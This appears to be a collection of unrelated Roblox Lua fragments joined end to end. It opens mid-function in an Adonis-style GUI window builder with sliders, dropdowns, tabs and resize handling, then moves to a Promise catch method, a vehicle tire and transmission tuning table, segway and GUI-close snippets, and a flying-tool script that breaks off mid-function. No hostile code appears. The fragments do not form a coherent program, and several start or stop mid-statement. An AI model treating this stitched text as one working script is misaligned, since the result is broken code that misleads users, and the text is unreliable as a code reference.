data.Visible == nil then data.Visible = true end if data.LabelProps then data.LabelProperties = data.LabelProps end end if class == "Entry" then local label = new.Text local dots = new.Dots local desc = new.Desc label.ZIndex = data.ZIndex or new.ZIndex dots.ZIndex = data.ZIndex or new.ZIndex if data.Text then new.Text.Text = data.Text new.Text.Visible = true data.Text = nil end if data.Desc or data.ToolTip then new.Desc.Value = data.Desc or data.ToolTip data.Desc = nil end Expand(new, Tooltip) else if data.ToolTip then Expand(new, Tooltip, data.ToolTip) end end if class == "ButtonEntry" then local button = new.Button local debounce = false local onClicked = functionify(data.OnClicked, button) new:SetSpecial("DoClick",function() if not debounce then debounce = true if onClicked then onClicked(button) end debounce = false end end) new.Text = data.Text or new.Text button.ZIndex = data.ZIndex or new.ZIndex button.MouseButton1Down:Connect(new.DoClick) end if class == "Boolean" then local enabled = data.Enabled local debounce = false local onToggle = functionify(data.OnToggle, new) local function toggle(isEnabled) if not debounce then debounce = true if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then enabled = false new.Text = "Disabled" elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then enabled = true new.Text = "Enabled" end if onToggle then onToggle(enabled, new) end debounce = false end end --new.ZIndex = data.ZIndex new.Text = (enabled and "Enabled") or "Disabled" new.MouseButton1Down:Connect(function() if onToggle then toggle() end end) new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end) end if class == "StringEntry" then local box = new.Box local ignore new.Text = data.Text or new.Text box.ZIndex = data.ZIndex or new.ZIndex if data.BoxText then box.Text = data.BoxText end if data.BoxProperties then for i,v in next,data.BoxProperties do if checkProperty(box, i) then box[i] = v end end end if data.TextChanged then local textChanged = functionify(data.TextChanged, box) box.Changed:Connect(function(p) if p == "Text" and not ignore then textChanged(box.Text) end end) box.FocusLost:Connect(function(enter) local change = textChanged(box.Text, true, enter) if change then ignore = true box.Text = change ignore = false end end) end new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end) end if class == "Slider" then local mouseIsIn = false local posValue = new.Percentage local slider = new.Slider local bar = new.SliderBar local drag = new.Drag local moving = false local value = 0 local onSlide = functionify(data.OnSlide, new) bar.ZIndex = data.ZIndex or new.ZIndex slider.ZIndex = bar.ZIndex+1 drag.ZIndex = slider.ZIndex+1 drag.Active = true if data.Value then slider.Position = UDim2.new(0.5, -10, 0.5, -10) drag.Position = slider.Position end bar.InputBegan:Connect(function(input) if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then value = ((input.Position.X) - (new.AbsolutePosition.X)) / (new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position posValue.Value = value if onSlide then onSlide(value) end end end) drag.DragBegin:Connect(function() moving = true end) drag.DragStopped:Connect(function() moving = false drag.Position = slider.Position end) drag.Changed:Connect(function() if moving then value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) posValue.Value = value if onSlide then onSlide(value) end end end) new:SetSpecial("SetValue",function(ignore, newValue) if newValue and tonumber(newValue) then value = tonumber(newValue) posValue.Value = value slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position end end) end if class == "Dropdown" then local menu = new.Menu local downImg = new.Down local selected = new.dSelected local options = data.Options local curSelected = data.Selected or data.Selection local onSelect = functionify(data.OnSelection or data.OnSelect or function()end) local textProps = data.TextProperties local scroller = create("ScrollingFrame", { Parent = menu; Size = UDim2.new(1, 0, 1, 0); Position = UDim2.new(0, 0, 0, 0); BackgroundTransparency = 1; ZIndex = 100; }) menu.ZIndex = scroller.ZIndex menu.Parent = GUI menu.Visible = false menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100); menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3 if data.TextAlignment then selected.TextXAlignment = data.TextAlignment selected.Position = UDim2.new(0, 30, 0, 0); end if data.NoArrow then downImg.Visible = false end new:SetSpecial("MenuContainer", menu) new.Changed:Connect(function(p) if p == "AbsolutePosition" and menu.Visible then menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y) elseif p == "AbsoluteSize" or p == "Parent" then downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0); if data.TextAlignment == "Right" then downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2)) selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0); else downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2)) end selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0); if options and #options <= 6 then menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options); else menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6); scroller:ResizeCanvas(false, true); end end end) selected.ZIndex = new.ZIndex downImg.ZIndex = new.ZIndex if textProps then for i,v in next,textProps do selected[i] = v end end if options then for i,v in next,options do local button = scroller:Add("TextButton", { Text = " ".. tostring(v); Size = UDim2.new(1, -10, 0, 30); Position = UDim2.new(0, 5, 0, 30*(i-1)); ZIndex = menu.ZIndex; BackgroundTransparency = 1; OnClick = function() selected.Text = v; onSelect(v, new); menu.Visible = false end }) if textProps then for i,v in next,textProps do button[i] = v end end end if curSelected then selected.Text = curSelected else selected.Text = "No Selection" end selected.MouseButton1Down:Connect(function() menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y) menu.Visible = not menu.Visible end) end end if class == "TabFrame" then local buttons = create("ScrollingFrame", nil, new.Buttons) local frames = new.Frames local numTabs = 0 local buttonSize = data.ButtonSize or 60 new.BackgroundTransparency = data.BackgroundTransparency or 1 buttons.ZIndex = data.ZIndex or new.ZIndex frames.ZIndex = buttons.ZIndex new:SetSpecial("GetTab", function(ignore, name) return frames:FindFirstChild(name) end) new:SetSpecial("NewTab", function(ignore, name, data) local data = data or {} --local numChildren = #frames:GetChildren() local nextPos = getNextPos(buttons); local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize) local oTextTrans = data.TextTransparency local isOpen = false local disabled = false local tabFrame = create("ScrollingFrame",{ Name = name; Size = UDim2.new(1, 0, 1, 0); Position = UDim2.new(0, 0, 0, 0); BorderSizePixel = 0; BackgroundTransparency = data.FrameTransparency or data.Transparency; BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2); ZIndex = buttons.ZIndex; Visible = false; }) local tabButton = create("TextButton",{ Name = name; Text = data.Text or name; Size = UDim2.new(0, textSize.X+20, 1, 0); ZIndex = buttons.ZIndex; Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0); TextColor3 = data.TextColor; BackgroundTransparency = 0.7; TextTransparency = data.TextTransparency; BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2); BorderSizePixel = 0; }) tabFrame:SetSpecial("FocusTab",function() for i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end end for i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end tabButton.BackgroundTransparency = data.Transparency or 0 tabButton.TextTransparency = data.TextTransparency or 0 tabFrame.Visible = true if data.OnFocus then data.OnFocus(true) end end) if numTabs == 0 then tabFrame.Visible = true tabButton.BackgroundTransparency = data.Transparency or 0 end tabButton.MouseButton1Down:Connect(function() if not disabled then tabFrame:FocusTab() end end) tabButton.Parent = buttons tabFrame.Parent = frames buttons:ResizeCanvas(true, false) tabFrame:SetSpecial("Disable", function() disabled = true; tabButton.BackgroundTransparency = 0.9; tabButton.TextTransparency = 0.9 end) tabFrame:SetSpecial("Enable", function() disabled = false; tabButton.BackgroundTransparency = 0.7; tabButton.TextTransparency = data.TextTransparency or 0; end) numTabs = numTabs+1; return tabFrame,tabButton end) end if class == "ScrollingFrame" then local genning = false if not data.ScrollBarThickness then data.ScrollBarThickness = dScrollBar end new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom) local list = list or obj; local genHold = {} local entProps = labelProperties or {} genning = genHold new:ClearAllChildren() local num = 0 for i,v in next,list do local text = v; local desc; local color local richText; if type(v) == "table" then text = v.Text desc = v.Desc color = v.Color if v.RichTextAllowed or entProps.RichTextAllowed then richText = true end end local label = create("TextLabel",{ Text = " "..tostring(text); ToolTip = desc; Size = UDim2.new(1,-5,0,(entProps.ySize or 20)); Visible = true; BackgroundTransparency = 1; Font = "Arial"; TextSize = 14; TextStrokeTransparency = 0.8; TextXAlignment = "Left"; Position = UDim2.new(0,0,0,num*(entProps.ySize or 20)); RichText = richText or false; }) if color then label.TextColor3 = color end if labelProperties then for i,v in next,entProps do if checkProperty(label, i) then label[i] = v end end end if genning == genHold then label.Parent = new; else label:Destroy() break end num = num+1 if data.Delay then if type(data.Delay) == "number" then wait(data.Delay) elseif i%100 == 0 then wait(0.1) end end end new:ResizeCanvas(false, true, false, bottom, 5, 5, 50) genning = nil end) new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak) local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5 local newY, newX = 0,0 if not onX and not onY then onX = false onY = true end for i,v in next,new:GetChildren() do if v:IsA("GuiObject") then if onY then v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y) v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y) end if onX then v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset) v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset) end local yLower = v.Position.Y.Offset + v.Size.Y.Offset local xLower = v.Position.X.Offset + v.Size.X.Offset newY = math.max(newY, yLower) newX = math.max(newX, xLower) if modBreak then if i%modBreak == 0 then wait(1/60) end end end end if onY then new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding) end if onX then new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset) end if xMax then new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y) end if yMax then new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y) end end) if data.List then new:GenerateList(data.List) data.List = nil end end LoadChildren(new, data.Content or data.Children) data.Children = nil data.Content = nil for i,v in next,data do if checkProperty(new, i) then new[i] = v end end new.Parent = parent return apiIfy(new, data, class),data end function apiIfy(gui, data, class) local newGui = service.Wrap(gui) gui:SetSpecial("Object", gui) gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end) gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end) gui:SetSpecial("Add", function(ignore, class, data) if not data then data = class class = ignore end local new = create(class,data); new.Parent = gui; return apiIfy(new, data, class) end) gui:SetSpecial("Copy", function(ignore, class, gotData) local newData = {} local new for i,v in next,data do newData[i] = v end for i,v in next,gotData do newData[i] = v end new = create(class or data.Class or gui.ClassName, newData); new.Parent = gotData.Parent or gui.Parent; return apiIfy(new, data, class) end) return newGui end function doClose() if not isClosed then isClosed = true print(onClose) if onClose then onClose() end gTable:Destroy() end end function isVisible() return Main.Visible end local hideLabel = Hide:FindFirstChild("TextLabel") function doHide(doHide) local origLH = Hide.LineHeight if doHide or (doHide == nil and Main.Visible) then dragSize = Drag.Size Main.Visible = false Drag.BackgroundTransparency = Main.BackgroundTransparency Drag.BackgroundColor3 = Main.BackgroundColor3 Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset) if hideLabel then hideLabel.Text = "+" else Hide.Text = "+" end Hide.LineHeight = origLH gTable.Minimized = true elseif doHide == false or (doHide == nil and not Main.Visible) then Main.Visible = true Drag.BackgroundTransparency = 1 Drag.Size = dragSize or Drag.Size if hideLabel then hideLabel.Text = "-" else Hide.Text = "-" end Hide.LineHeight = origLH gTable.Minimized = false end if onMinimize then onMinimize(Main.Visible) end if Walls then wallPosition() end end function isInFrame(x, y, frame) if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then return true else return false end end function wallPosition() if gTable.Active then local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y if x < 0 then Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y < 0 then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0) end if x + abx > gx then Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y + ySize > gy then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize) end end end function setSize(newSize) if newSize and type(newSize) == "table" then if newSize[1] < 50 then newSize[1] = 50 end if newSize[2] < 50 then newSize[2] = 50 end Drag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset) Main.Size = UDim2.new(1,0,0,newSize[2]) end end function setPosition(newPos) if newPos and typeof(newPos) == "UDim2" then Drag.Position = newPos elseif newPos and type(newPos) == "table" then Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2]) elseif Size and not newPos then Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2) end end if Name then gTable.Name = Name if data.AllowMultiple ~= nil and data.AllowMultiple == false then local found, num = client.UI.Get(Name, GUI, true) if found then doClose() return nil end end end if Size then setSize(Size) end if Position then setPosition(Position) end if Title then Titlef.Text = Title end if CanKeepAlive or not ResetOnSpawn then gTable.CanKeepAlive = true GUI.ResetOnSpawn = false elseif ResetOnSpawn then gTable.CanKeepAlive = false GUI.ResetOnSpawn = true end if Icon then Iconf.Visible = true Iconf.Image = Icon end if CanvasSize then ScrollFrame.CanvasSize = CanvasSize end if noClose then Close.Visible = false Refresh.Position = Hide.Position Hide.Position = Close.Position end if noHide then Hide.Visible = false Refresh.Position = Hide.Position end if Walls then Drag.DragStopped:Connect(function() wallPosition() end) end if onRefresh then local debounce = false function DoRefresh() if not Refreshing then local done = false Refreshing = true spawn(function() while gTable.Active and not done do for i = 0,180,10 do rSpinner.Rotation = -i wait(1/60) end end end) onRefresh() wait(1) done = true Refreshing = false end end Refresh.MouseButton1Down:Connect(function() if not debounce then debounce = true DoRefresh() debounce = false end end) Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset) else Refresh.Visible = false end if iconClicked then Iconf.MouseButton1Down(function() iconClicked(data, GUI, Iconf) end) end if Menu then data.Menu.Text = "" data.Menu.Parent = Main data.Menu.Size = UDim2.new(1,-10,0,25) data.Menu.Position = UDim2.new(0,5,0,25) ScrollFrame.Size = UDim2.new(1,-10,1,-55) ScrollFrame.Position = UDim2.new(0,5,0,50) data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216) data.Menu.BorderSizePixel = 0 create("TextLabel",data.Menu) end if not SizeLocked then local startXPos = Drag.AbsolutePosition.X local startYPos = Drag.AbsolutePosition.Y local startXSize = Drag.AbsoluteSize.X local startYSize = Drag.AbsoluteSize.Y local vars = client.Variables local newIcon local inFrame local ReallyInFrame local function readify(obj) obj.MouseEnter:Connect(function() ReallyInFrame = obj end) obj.MouseLeave:Connect(function() if ReallyInFrame == obj then ReallyInFrame = nil end end) end --[[ readify(Drag) readify(ScrollFrame) readify(TopRight) readify(TopLeft) readify(RightCorner) readify(LeftCorner) readify(RightSide) readify(LeftSide) readify(Bottom) readify(Top) --]] function checkMouse(x, y) --// Update later to remove frame by frame pos checking if gTable.Active and Main.Visible then if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then inFrame = nil newIcon = nil elseif isInFrame(x, y, TopRight) then inFrame = "TopRight" newIcon = MouseIcons.TopRight elseif isInFrame(x, y, TopLeft) then inFrame = "TopLeft" newIcon = MouseIcons.TopLeft elseif isInFrame(x, y, RightCorner) then inFrame = "RightCorner" newIcon = MouseIcons.RightCorner elseif isInFrame(x, y, LeftCorner) then inFrame = "LeftCorner" newIcon = MouseIcons.LeftCorner elseif isInFrame(x, y, RightSide) then inFrame = "RightSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, LeftSide) then inFrame = "LeftSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, Bottom) then inFrame = "Bottom" newIcon = MouseIcons.Vertical elseif isInFrame(x, y, Top) then inFrame = "Top" newIcon = MouseIcons.Vertical else inFrame = nil newIcon = nil end else inFrame = nil end if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then if inFrame and newIcon then Mouse.Icon = newIcon client.Variables.MouseLockedBy = gTable elseif client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end end end local function inputStart(x, y) checkMouse(x, y) if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y end end local function inputEnd() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --DragEnabled = true --if Walls then -- wallPosition() --end end end local function inputMoved(x, y) if gTable.Active then if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then curIcon = Mouse.Icon end if Resizing then local moveX = false local moveY = false local newPos = Drag.Position local xPos, yPos = x, y local newX, newY = startXSize, startYSize --DragEnabled = false if Resizing == "TopRight" then newX = (xPos - startXPos) + 3 newY = (startYPos - yPos) + startYSize -1 moveY = true elseif Resizing == "TopLeft" then newX = (startXPos - xPos) + startXSize -1 newY = (startYPos - yPos) + startYSize -1 moveY = true moveX = true elseif Resizing == "RightCorner" then newX = (xPos - startXPos) + 3 newY = (yPos - startYPos) + 3 elseif Resizing == "LeftCorner" then newX = (startXPos - xPos) + startXSize + 3 newY = (yPos - startYPos) + 3 moveX = true elseif Resizing == "LeftSide" then newX = (startXPos - xPos) + startXSize + 3 newY = startYSize moveX = true elseif Resizing == "RightSide" then newX = (xPos - startXPos) + 3 newY = startYSize elseif Resizing == "Bottom" then newX = startXSize newY = (yPos - startYPos) + 3 elseif Resizing == "Top" then newX = startXSize newY = (startYPos - yPos) + startYSize - 1 moveY = true end if newX < MinSize[1] then newX = MinSize[1] end if newY < MinSize[2] then newY = MinSize[2] end if newX > MaxSize[1] then newX = MaxSize[1] end if newY > MaxSize[2] then newY = MaxSize[2] end if moveX then newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset) end if moveY then newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY) end Drag.Position = newPos Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset) Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY) if not Titlef.TextFits then Titlef.Visible = false else Titlef.Visible = true end else checkMouse(x, y) end end end Event(InputService.InputBegan, function(input, gameHandled) if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then local Position = input.Position inputStart(Position.X, Position.Y) end end) Event(InputService.InputChanged, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local Position = input.Position inputMoved(Position.X, Position.Y) end end) Event(InputService.InputEnded, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then inputEnd() end end) --[[Event(Mouse.Button1Down, function() if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y checkMouse() end end) Event(Mouse.Button1Up, function() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --if Walls then -- wallPosition() --end end end)--]] else LeftSizeIcon.Visible = false RightSizeIcon.Visible = false end Close.MouseButton1Down:Connect(doClose) Hide.MouseButton1Down:Connect(function() doHide() end) gTable.CustomDestroy = function() service.UnWrap(GUI):Destroy() if client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end if not isClosed then isClosed = true if onClose then onClose() end end end for i,child in next,GUI:GetChildren() do if child.Name ~= "Desc" and child.Name ~= "Drag" then specialInsts[child.Name] = child child.Parent = nil end end --// Drag & DisplayOrder Handler do local windowValue = Instance.new("BoolValue", GUI) local dragDragging = false local dragOffset local inFrame windowValue.Name = "__ADONIS_WINDOW" Event(Main.InputBegan, function(input) if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then BringToFront() end end) Event(Drag.InputBegan, function(input) if gTable.Active then inFrame = true if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then BringToFront() end end end) Event(Drag.InputChanged, function(input) if gTable.Active then inFrame = true end end) Event(Drag.InputEnded, function(input) inFrame = false end) Event(InputService.InputBegan, function(input) if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then dragDragging = true BringToFront() dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y) end end) Event(InputService.InputChanged, function(input) if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y) end end) Event(InputService.InputEnded, function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragDragging = false end end) end --// Finishing up local api = apiIfy(ScrollFrame, data) local meta = api:GetMetatable() local oldNewIndex = meta.__newindex local oldIndex = meta.__index create("ScrollingFrame", nil, ScrollFrame) LoadChildren(api, Content) api:SetSpecial("gTable", gTable) api:SetSpecial("Window", GUI) api:SetSpecial("Main", Main) api:SetSpecial("Title", Titlef) api:SetSpecial("Dragger", Drag) api:SetSpecial("Destroy", doClose) api:SetSpecial("Close", doClose) api:SetSpecial("Object", ScrollFrame) api:SetSpecial("Refresh", DoRefresh) api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end) api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end) api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end) api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end) api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end) api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end) api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end) api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end) api:SetSpecial("GetSize", function() return Main.AbsoluteSize end) api:SetSpecial("IsVisible", isVisible) api:SetSpecial("IsClosed", isClosed) meta.__index = function(tab, ind) if ind == "IsVisible" then return isVisible() elseif ind == "Closed" then return isClosed else return oldIndex(tab, ind) end end setSize(Size) setPosition(Position) if Ready then gTable:Ready() BringToFront() end return api,GUI end
--[[ Used to catch any errors that may have occurred in the promise. ]]
function Promise.prototype:catch(failureCallback) assert( failureCallback == nil or type(failureCallback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:catch") ) return self:_andThen(debug.traceback(nil, 2), nil, failureCallback) end Promise.prototype.Catch = Promise.prototype.catch
--------------------------------------------------------------------------
local _WHEELTUNE = { --[[ SS6 Presets [Eco] WearSpeed = 1, TargetFriction = .7, MinFriction = .1, [Road] WearSpeed = 2, TargetFriction = .7, MinFriction = .1, [Sport] WearSpeed = 3, TargetFriction = .79, MinFriction = .1, ]] TireWearOn = false , --Friction and Wear FWearSpeed = .8 , FTargetFriction = .7 , FMinFriction = .1 , RWearSpeed = .8 , RTargetFriction = .8 , RMinFriction = .1 , --Tire Slip TCSOffRatio = 1/3 , WheelLockRatio = 1/2 , --SS6 Default = 1/4 WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 1 , --SS6 Default = 1 RFrictionWeight = 1 , --SS6 Default = 1 FLgcyFrWeight = 10 , RLgcyFrWeight = 10 , FElasticity = .5 , --SS6 Default = .5 RElasticity = .5 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 1 , --SS6 Default = 1 RElastWeight = 1 , --SS6 Default = 1 FLgcyElWeight = 10 , RLgcyElWeight = 10 , --Wear Regen RegenSpeed = 3.6 --SS6 Default = 3.6 }
--[[Transmission]]
Tune.TransModes = {"Auto","Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.4 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.5 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2 , --[[ 3 ]] 1.4 , --[[ 4 ]] 1.1 , --[[ 5 ]] .8 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Segway
--
script.Parent.Close.MouseButton1Click:Connect(function() House.RemoveGui:InvokeServer(script.Parent.Parent) end)
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") Camera = game:GetService("Workspace").CurrentCamera Animations = {} LocalObjects = {} Speed = { CurrentSpeed = 5, MaxSpeed = 100 } Jumping = { JumpTick = 0, Jumps = 0, JumpTime = 0.25, JumpsRequired = 1 } Controls = { Forward = {Number = 0, Numbers = {On = -1, Off = 0}, Keys = {"W", 17}}, Backward = {Number = 0, Numbers = { On = 1, Off = 0}, Keys = {"S", 18}}, Left = {Number = 0, Numbers = {On = -1, Off = 0}, Keys = {"A", 20}}, Right = {Number = 0, Numbers = {On = 1, Off = 0}, Keys = {"D", 19}} } UsableAnimations = { Pose = {Animation = Tool:WaitForChild("Pose"), FadeTime = nil, Weight = nil, Speed = nil}, } Sounds = { Wind = Handle:WaitForChild("Wind"), } FlyRate = (1 / 60) Debounce = false Flying = false ToolEquipped = false ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") function SetAnimation(Mode, Value) if Mode == "PlayAnimation" and Value and ToolEquipped and Humanoid then for i, v in pairs(Animations) do if v.Animation == Value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(Value.Animation) table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed) elseif Mode == "StopAnimation" and Value then for i, v in pairs(Animations) do if v.Animation == Value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end end end function DisableJump(Boolean) if PreventJump then PreventJump:disconnect() end if Boolean then PreventJump = Humanoid.Changed:connect(function(Property) if Property == "Jump" then Humanoid.Jump = false end end) end end function Clamp(Number, Min, Max) return math.max(math.min(Max, Number), Min) end function Fly() if Flying and Player and Torso and Humanoid and Humanoid.Health > 0 then 